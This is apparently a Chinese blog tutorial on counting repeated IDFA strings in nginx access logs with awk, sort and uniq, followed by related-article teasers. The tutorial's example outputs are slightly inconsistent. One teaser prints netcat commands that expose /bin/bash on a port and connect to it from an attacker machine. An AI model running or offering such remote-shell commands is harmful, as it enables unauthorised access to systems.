假如现有数据：

{ "@timestamp": "2018-10-13T21:55:58+08:00", "remote_addr": "100.120.34.3", "referer": "-", "request": "GET /api/gourd/activeupload?idfa=58237FA9-A1B3-4202-B5F3-9536983119E5&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.076, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.3" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.076 }
{ "@timestamp": "2018-10-13T21:56:06+08:00", "remote_addr": "100.120.34.101", "referer": "-", "request": "GET /api/gourd/activeupload?idfa=E9D7F87A-9042-46B4-82E8-E5F64B74466B&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.076, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.101" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.076 }
{ "@timestamp": "2018-10-13T21:56:08+08:00", "remote_addr": "100.120.34.29", "referer": "-", "request": "GET /api/gourd/activeupload?idfa=D5B924F3-7D25-4B52-BAE9-3270B08EA32D&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.075, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.29" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.075 }
{ "@timestamp": "2018-10-13T21:56:10+08:00", "remote_addr": "100.120.34.75", "referer": "-", "request": "GET /api/gourd/activeupload?idfa=D166459D-E823-4847-9094-6F4BF90625B2&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.078, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.75" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.078 }
{ "@timestamp": "2018-10-13T21:56:18+08:00", "remote_addr": "100.120.34.39", "referer": "-", "request": "GET /api/gourd/activeupload?idfa=08C65C3B-EED2-4A65-B0C1-67FC7FB78E18&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.082, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.39" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.082 }
{ "@timestamp": "2018-10-13T21:56:31+08:00", "remote_addr": "100.120.34.68", "referer": "-", "request": "GET /api/gourd/activeupload?idfa=D5B924F3-7D25-4B52-BAE9-3270B08EA32D&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.079, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.68" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.079 }

临时保存为tmp.log

awk -F 'idfa=' '{print $2}' tmp.log

出现如下结果：

58237FA9-A1B3-4202-B5F3-9536983119E5&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.076, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.3" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.076 }
E9D7F87A-9042-46B4-82E8-E5F64B74466B&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.076, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.101" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.076 }
D5B924F3-7D25-4B52-BAE9-3270B08EA32D&appid=1410137206&source=rehulu HTTP/1.1", "status": 200, "request_time": 0.075, "cookie":"-","host":"cms.369wan.com","bytes": 48, "agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", "proxy_x_forwarded": "139.129.97.187, 100.120.34.29" "upstr_addr": "127.0.0.1:9000","upstr_host": "-","ups_resp_time": 0.075 }

执行

awk -F 'idfa=' '{print $2}' tmp.log | awk -F '&source=' '{print $1}'

出现如下结果：
58237FA9-A1B3-4202-B5F3-9536983119E5&appid=1410137206
E9D7F87A-9042-46B4-82E8-E5F64B74466B&appid=1410137206
D5B924F3-7D25-4B52-BAE9-3270B08EA32D&appid=1410137206

执行

awk -F 'idfa=' '{print $2}' tmp.log | awk -F '&source=' '{print $1}'  | sort  (这一步将结果相同的放在一起)

出现如下结果：
58237FA9-A1B3-4202-B5F3-9536983119E5&appid=1410137206
E9D7F87A-9042-46B4-82E8-E5F64B74466B&appid=1410137206
D5B924F3-7D25-4B52-BAE9-3270B08EA32D&appid=1410137206

执行

awk -F 'idfa=' '{print $2}' cms_\(2\).log | awk -F '&source=' '{print $1}' |sort| uniq -c
出现最终结果(次数 和 各字符串)：
1 58237FA9-A1B3-4202-B5F3-9536983119E5&appid=1410137206
1 E9D7F87A-9042-46B4-82E8-E5F64B74466B&appid=1410137206
1 D5B924F3-7D25-4B52-BAE9-3270B08EA32D&appid=1410137206

centos下对文件某些特定字符串分组统计出现次数的更多相关文章

  1. centos下修改文件后如何保存退出

    centos下修改文件后如何保存退出 保存命令 按ESC键 跳到命令模式,然后: :w 保存文件但不退出vi :w file 将修改另外保存到file中,不退出vi :w! 强制保存,不推出vi :w ...

  2. 在文件夹下所有文件中查找字符串(linux/windows)

    在linux下可以用 grep "String" filename.txt#字符串 文件名grep -r "String" /home/#递归查找目录下所有文件 ...

  3. MyEclipse如何查找指定工程下所有或指定文件中特定字符串并且可进行批量替换

    查找操作步骤:(1)在myEclipse里菜单选择-Search-Search(快捷键:ctrl+h);(2)在弹出对话框中选File Search选项,然后在第一个文本框中输入“要查找的字符串”(为 ...

  4. CentOS下查看文件和文件夹大小

    当磁盘大小超过标准时会有报警提示,这时如果掌握df和du命令是非常明智的选择. df可以查看一级文件夹大小.使用比例.档案系统及其挂入点,但对文件却无能为力. 当磁盘大小超过标准时会有报警提示,这时如 ...

  5. Centos下删除文件后空间并未释放

    [root@DeviceSP /]# df -h Filesystem Size Used Avail Use% Mounted on /dev/vda3 90G 82G 3.8G 96% / tmp ...

  6. C#替换文件中特定字符串，按照原来的编码格式保存

    private void button1_Click(object sender, EventArgs e) { var txt1 = "E:\\Temp\\local"; str ...

  7. IO复制多级目录 控制台输入文件目录然后把目录下java文件复制到 D: 并统计java个数

    package cn.itcast_05; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; impor ...

  8. 【转】【Linux】Linux下统计当前文件夹下的文件个数、目录个数

    [转][Linux]Linux下统计当前文件夹下的文件个数.目录个数 统计当前文件夹下文件的个数,包括子文件夹里的 ls -lR|grep "^-"|wc -l 统计文件夹下目录的 ...

  9. DataTable、List使用groupby进行分组和分组统计；List、DataTable查询筛选方法

    DataTable分组统计: .用两层循环计算,前提条件是数据已经按分组的列排好序的. DataTable dt = new DataTable(); dt.Columns.AddRange(new ...

随机推荐

  1. solr特点四: SpellCheck(拼写检查)

    接下来,我将介绍如何向应用程序添加 “您是不是要找……”(拼写检查). 提供拼写建议 Lucene 和 Solr 很久以前就开始提供拼写检查功能了,但直到添加了 SearchComponent架构之后 ...

  2. Asp.NetCore取配置信息

    本文简单介绍Asp.NetCore取自定义配置信息的方法,要取配置信息首先得有配置文件. 1, 本例新建了一个TimeOut.json配置文件,和其对应的一个TimeOut类 2, 首先在Startu ...

  3. linux学习之vi文件编辑命令

    如果文件为只读则无法使用普通用户编辑,需要切换到root用户,具体名称可参考: https://www.cnblogs.com/huangwei1992/p/9493443.html vi文件编辑命令 ...

  4. UWP开发入门（十）——通过继承来扩展ListView

    本篇之所以起这样一个名字,是因为重点并非如何自定义控件,不涉及创建CustomControl和UserControl使用的Template和XAML概念.而是通过继承的方法来扩展一个现有的类,在继承的 ...

  5. UWP开发入门（四）——自定义CommandBar

    各位好,再次回到UWP开发入门系列,刚回归可能有些不适应,所以今天我们讲个简单的,自定义CommandBar,说通俗点就是自定义类似AppBarButton的东西,然后扔到CommandBar中使用. ...

  6. docker 配置 overlay 存储

    1.查看overlay模块是否安装 lsmod | grep over 2.将OverlayFS加到module目录下 echo "overlay" > /etc/modul ...

  7. 对this的理解？

    回答一: (1) Js的this指向是不确定的,也就是说可以动态改变的.Call/apply 就是用于改变this指向的函数,这样设计可以让代码更加灵活,复用性更高 (2) This一般情况下,都是指 ...

  8. CTF web题型解题技巧

    工具集 基础工具:Burpsuite,python,firefox(hackbar,foxyproxy,user-agent,swither等) 扫描工具:nmap,nessus,openvas sq ...

  9. 反弹Shell小结

    1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc  server-ip 7777 1.2.反向反弹shell 攻击机 nc ...

  10. linux系统解决boot空间不足

    有时候更新Linux系统是会碰到boot空间不足的错误,原因基本上是安装时boot空间设置问题可以通过删除旧的内核来释放boot空间. ubuntu: 1.查看当前使用内核版本号       unam ...